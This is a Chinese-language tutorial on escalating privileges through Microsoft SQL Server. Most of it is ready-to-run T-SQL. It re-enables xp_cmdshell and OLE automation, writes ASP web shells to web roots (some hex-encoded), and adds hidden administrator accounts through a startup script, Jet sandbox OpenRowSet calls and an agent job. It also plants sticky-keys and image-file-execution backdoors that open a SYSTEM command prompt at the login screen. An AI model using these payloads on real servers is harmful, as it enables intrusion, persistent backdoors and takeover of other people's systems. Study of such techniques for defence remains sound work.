前言
我们在提权的过程中,如果遇到无法使用系统溢出漏洞进行提权的时候,我们就可以尝试使用数据库进行提权,不过使用数据库提权有相应的条件,一般情况下需要我们服务器开启数据库服务以及获取到最高权限用户的密码,处理Access数据库之外,其他数据库都存在数据库提权的可能。针对于数据库密码的获取一般情况下可以通过数据库配置文件获取。
MSSQL提权
xp_cmdshell提权
xp_cmdshell
在mssql2000
中是默认开启的,不过在mssql2005
之后的版本中则是默认关闭的,如果我们想要继续使用它,只有在我们是管理员SA
权限得到情况下使用sp_configure
重新开启xp_cmdshell
命令,如果mssql
被降权那么我们也无法完成提权。
之前我们也提到了,默认情况下是关闭xp_cmdshell
的,如果要开启xp_cmdshell
我们需要有sa
权限,所以这里我们代码的演示就直接在mssql
中进行操作,这里sqlserver
的版本是2005。
查看xp_cmdshell是否被删除
我们使用sa
账户登录到数据库之后,在数据库->系统数据库->master->可编程性->扩展存储过程->系统扩展存储过程
z中我们可以看到sys.xp_cmdshell
这个命令,如果这个命令不存在那就说明,这个命令被删除了,如果命令存在但是无法使用,那就说明命令被禁止了。
恢复xp_cmdshell命令
首先我们测试xp_cmdshell
命令是否可以使用
EXEC master.dbo.xp_cmdshell 'whoami';
我们可以看到,命令被禁用了,接下来我们启用xp_cmdshell
命令
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
第一条语句是开启编辑状态,第二条语句是将xp_cmdshell
设置为可用。
紧接着我们就可以继续测试xp_cmdshell
时候可用以及当前用户权限
我们可以看到权限是system
,不过我在另一个2008的系统mssql2012
版本测试的时候遇到了被降权的情况,我们同样使用如上命令,返回的权限是network server
,如果被降权那就无法完成提权。
无论结果怎么样,我们还是要善后的,将xp_cmdshell
命令修改为禁用
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
sp_oacreate提权
sp_oacreate
在 SQL Server
实例上创建OLE
对象实例,我们在遇到xp_cmdshell
被删除的情况下可以尝试使用这个命令来提权。默认情况下这个命令也是被禁用的,我们接下来继续恢复并执行其他命令。
恢复sp_oacreate并执行命令
开启存储过程来恢复sp_oacreate
命令的使用
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
执行whoami
命令并输出到C盘下的1.txt
。
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt';
sp_oacreate的其他操作
删除文件
declare @result int
declare @fso_token int
exec sp_oacreate 'scripting.filesystemobject', @fso_token out
exec sp_oamethod @fso_token,'deletefile',null,'c:\1.txt'
exec sp_oadestroy @fso_token
复制文件
declare @o int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o,'copyfile',null,'c:\1.txt','c:\2.txt'
移动文件
declare @o int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o,'movefile',null,'c:\1.txt','c:\3.txt'
替换粘滞键
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o,'copyfile',null,'c:\windows\explorer.exe', 'c:\windows\system32\sethc.exe'
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo i=out
exec sp_oamethod @oo,'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe'
启动项中写入添加账户脚本
declare @sp_passwordxieo int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out
exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","123$")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/123$",user)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"';
COM组件的利用(cmd.exe可以自行上传)
declare @luan int,@exec int,@text int,@str varchar(8000);
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output;
exec sp_oamethod @luan,'exec',@exec output,'C:\\phpstudy\\www\\test.com\\cmd.exe /c whoami';
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'readall', @str out
select @str;
四种文件写入的方法
这几种文件写入的方法需要满足物理路径已知,拥有sa
权限。
第一种存储过程写文件
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\\phpstudy\\www\\cbd.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>'
第二种存储过程写文件
declare @s nvarchar(4000);select @s=0x730065006c00650063007400200027003c00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003e000d000a002700;exec sp_makewebtask 0x43003a005c007a00770065006c006c002e00610073007000, @s;--
第三种,log备份
alter database 库名 set RECOVERY FULL
create table cmd (a image)
backup log 库名 to disk = 'c:\' with init
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
backup log 库名 to disk = 'c:\2.asp'
第四种,差异备份
backup database 库名 to disk = 'c:\bak.bak';--
create table [dbo].[test] ([cmd] [image]);
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--
沙盒提权
在SQL2005中默认禁用Ad Hoc Distributed
,执行命令时,会提示错误,所以我们需要手动开启。这种提权的方式一般很少用到。
exec sp_configure 'show advanced options',1 ;
reconfigure ;
exec sp_configure 'Ad Hoc Distributed Queries',1 ;
reconfigure;
恢复对注册表的读写
dbcc addextendedproc ('xp_regread','xpstar.dll')
dbcc addextendedproc ('xp_regwrite','xpstar.dll')
修复沙盒的维护模式
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
查看SandBoxMode
的值是否已经变成了0
沙盒模式参数含义:
沙盒模式SandBoxMode参数含义(默认是2)
- 0:在任何所有者中禁止启用安全模式
- 1 :为仅在允许范围内
- 2 :必须在access模式下
- 3 :完全开启
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
创建账户
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")');
添加到管理员组
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');
如果遇到问题参考这里的解析:http://blog.chinaunix.net/uid-28966230-id-4291781.html
恢复配置
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
JOB提权
原理是创建一个任务x,并执行命令,命令执行后的结果,将返回给文档q.txt
首先需要启动sqlagent服务:
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
接下来我们创建任务x,执行添加账户的命令,然后将命令返回结果输出到q.txt
中。
use msdb
exec sp_delete_job null,'x'
exec sp_add_job 'x'
exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user hack1 hack1 /add &net localgroup administrators hack1 /add>c:/q.txt"'
exec sp_add_jobserver null,'x',@@servername
exec sp_start_job 'x';
执行成功,这个报错应该是同时执行多条语句导致,我们可以看到最终添加了指定的账户。
利用镜像劫持提权
首先我们利用regwrite
函数修改组册表进行劫持,这里如果regwrite
执行失败参考上面的开启方法。
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
接着我们查看是否劫持成功
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'
紧接着我们远程连接桌面,然后连续按5次shift
就可以调用cmd
窗口